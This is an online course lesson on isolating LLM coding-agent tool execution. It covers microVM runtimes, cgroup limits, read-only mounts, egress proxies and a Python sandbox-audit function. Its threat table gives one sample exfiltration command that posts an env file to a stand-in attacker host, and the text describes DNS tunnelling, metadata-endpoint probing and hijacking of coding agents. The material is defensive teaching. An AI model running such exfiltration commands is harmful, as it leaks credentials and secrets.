FullStack AI Hub
Studio
lesson depth
Mastery
not started · 0%

Tool Sandboxing and Egress Control

Constrain tool execution with filesystem, process, network, resource, and data-exfiltration boundaries.

Freshness: current•15 min read•Security, Safety, and Governance

Key Learning Outcomes

  • ✓Explain the operating model behind Tool Sandboxing and Egress Control.
  • ✓Evaluate trade-offs and failure modes for Tool Sandboxing and Egress Control.
  • ✓Apply Tool Sandboxing and Egress Control to a production decision.
Full Technical Reference Document

Mental model

Giving an LLM coding agent a shell tool means executing model-driven code potentially influenced by untrusted repositories, malicious PR comments, or poisoned web pages. Sandboxing enforces strict kernel, filesystem, CPU/memory (cgroup v2), and capability walls around what running processes touch locally, whereas egress control restricts outbound DNS/HTTP connections outside the sandbox so hijacked tools cannot silently exfiltrate repository secrets over webhooks.

Untrusted tool code invocation
MicroVM / gVisor kernel boundary
Read-only app + bounded scratch disk
Cgroup CPU/RAM/PID & no-root UID
External egress proxy domain allowlist
Conceptual teaching model synthesized from:owasp-llm,nist-zero-trust

Learning outcomes

  • Explain why default shared Docker containers are insufficient isolation boundaries for executing hostile untrusted agent code.
  • Implement defense-in-depth across filesystem mounts (ro vs scratch noexec), cgroups v2 fork-bomb limits, stripped Linux capabilities, and secret omission.
  • Prevent credential exfiltration cleanly using external sidecar DNS/HTTP allowlist proxies and authenticated credential injection outside the guest sandbox.

Theory

Treating docker run ubuntu directly cleanly as a security boundary exposes multi-tenant hosts silently: shared host kernel syscalls remain reachable (Dirty COW-style exploits), mounted ~/.aws or Docker socket volumes grant total node compromise instantly, and unrestricted outbound TCP lets malicious postinstall npm hooks pipe process.env straight out to attacker domains! Hardened tool runners isolate five independent walls synchronously:

Isolation BoundaryHardened MechanismAttack / Outage BlockedCommon Configuration Mistake
Execution KernelHardware-virtualized MicroVM (Firecracker / Kata) or user-space kernel (gVisor)Container kernel escape exploits on shared host kernelRunning raw privileged Docker sharing host Linux kernel
Filesystem & Secret BoundaryRead-only system bins, ephemeral clean workspace overlay, NO host .env/SSH keysPersisting backdoors, poisoning images, reading cloud IAM tokensMounting shared RW caches or passing upstream PAT secrets directly inside env
Resource & Process Capscgroups v2 hard memory cap, pids.max = 128, non-root UID 1001, wall timeoutInfinite while(1) CPU burns, OOM crashes, recursive shell fork bombsLeaving memory/PID counts unlimited (OOMKilled hits neighboring pods)
Network Egress FirewallDefault-deny network namespace (--network=none) or external proxy allowlisting exact domains (pypi.org)curl https://evil.io -d @/app/.env, internal cloud SSRF (169.254.169.254), DNS tunnelingBlocking inbound firewall ports while leaving unrestricted outbound HTTPS open

Crucially, when coding sandboxes must fetch Git repos or install packages, keep real long-lived credentials strictly inside an outer host proxy (credential helper / authenticated egress gateway): the sandbox sends traffic solely to that trusted proxy, which strips internal IP ranges (RFC1918, IMDS 169.254.169.254), logs requests, and swaps scoped short-lived tokens only for explicitly approved hosts!

python
from dataclasses import dataclass
​
@dataclass(frozen=True)
class SandboxSpec:
runtime: str
non_root_uid: int
readonly_rootfs: bool
memory_limit_mb: int
pids_limit: int
egress_allowed_domains: frozenset[str]
ambient_env_forwarded: tuple[str, ...]
​
def audit_sandbox_posture(spec: SandboxSpec) -> list[str]:
"""Fail-closed preflight audit rejecting insecure code-execution sandbox profiles."""
violations: list[str] = []
if spec.runtime not in ("firecracker", "kata", "gvisor"):
violations.append(f"weak_isolation_runtime:{spec.runtime}")
if spec.non_root_uid == 0:
violations.append("running_as_root_uid_zero")
if not spec.readonly_rootfs:
violations.append("writable_root_filesystem_risk")
if spec.memory_limit_mb <= 0 or spec.memory_limit_mb > 4096 or spec.pids_limit <= 0:
violations.append("missing_or_unbounded_cgroup_quotas")
if "*" in spec.egress_allowed_domains:
violations.append("wildcard_outbound_egress_exfiltration")
if any(k for k in spec.ambient_env_forwarded if k.endswith(("KEY", "TOKEN", "SECRET"))):
violations.append("ambient_secret_injected_into_untrusted_env")
return violations

Trade-offs

Full MicroVM isolation paired with strict offline --network=none execution delivers rock-solid security guarantees against arbitrary malicious Git repositories and prompt-injected package scripts, eliminating host escapes and secret theft completely. However, spinning up isolated microVMs adds cold-start boot latency (150–600 ms unless pooled from snapshots) and complicates workflows requiring live upstream package installs (pip install / npm test) unless paired with pre-warmed dependency snapshots or strict domain-allowlisted caching proxies.

Failure modes and misconceptions

  • Assuming Inbound Firewall Blocks Stop Exfiltration: Denying incoming ports stops attackers connecting in cleanly, yet allows compromised guest shells inside to establish outbound HTTPS reverse shells or POST secrets out cleanly.
  • Allowing Raw UDP DNS Lookups Outbound: Blocking outbound HTTP while leaving raw UDP :53 DNS open lets attackers encode private files straight inside DNS queries (secret_key.attacker.com).
  • Passing Real API Keys Inside Sandbox env: Injecting GITHUB_TOKEN directly into bash container env allows any npm test script or malicious README payload to inspect /proc/self/environ immediately.
  • Reusing Warm Mutable Workspaces Between Tenants: Skipping ephemeral VM/disk tear-down between users allows User A's test runner to drop malicious .bashrc or .git/hooks/pre-commit payloads hitting User B.

Decision scenario

An autonomous engineering agent clones unknown third-party repositories and runs full unit test suites. Yesterday a test fixture triggered a malicious Python conftest.py scanning os.environ and querying 169.254.169.254. Harden container runtime selection, cgroups, read-only mounts, credential proxy stripping, and outbound DNS/IMDS blocking cleanly.

Reflect before revealing the guide

Prerequisites & Related Concepts (4)

Private notes

0 words
Included In Free Course
Free · Verifiable Credential

FS-301Agentic Systems Engineer

Engineer bounded tool-using systems with explicit workflows state protocols evaluation observability security and human control.

27 concepts~29h self-paced
Start Free Course
Weekly Engineering Dispatch

Get the weekly systems teardown

One technical note per week covering inference bottlenecks, retrieval harnesses, and commit-pinned teardowns.

Next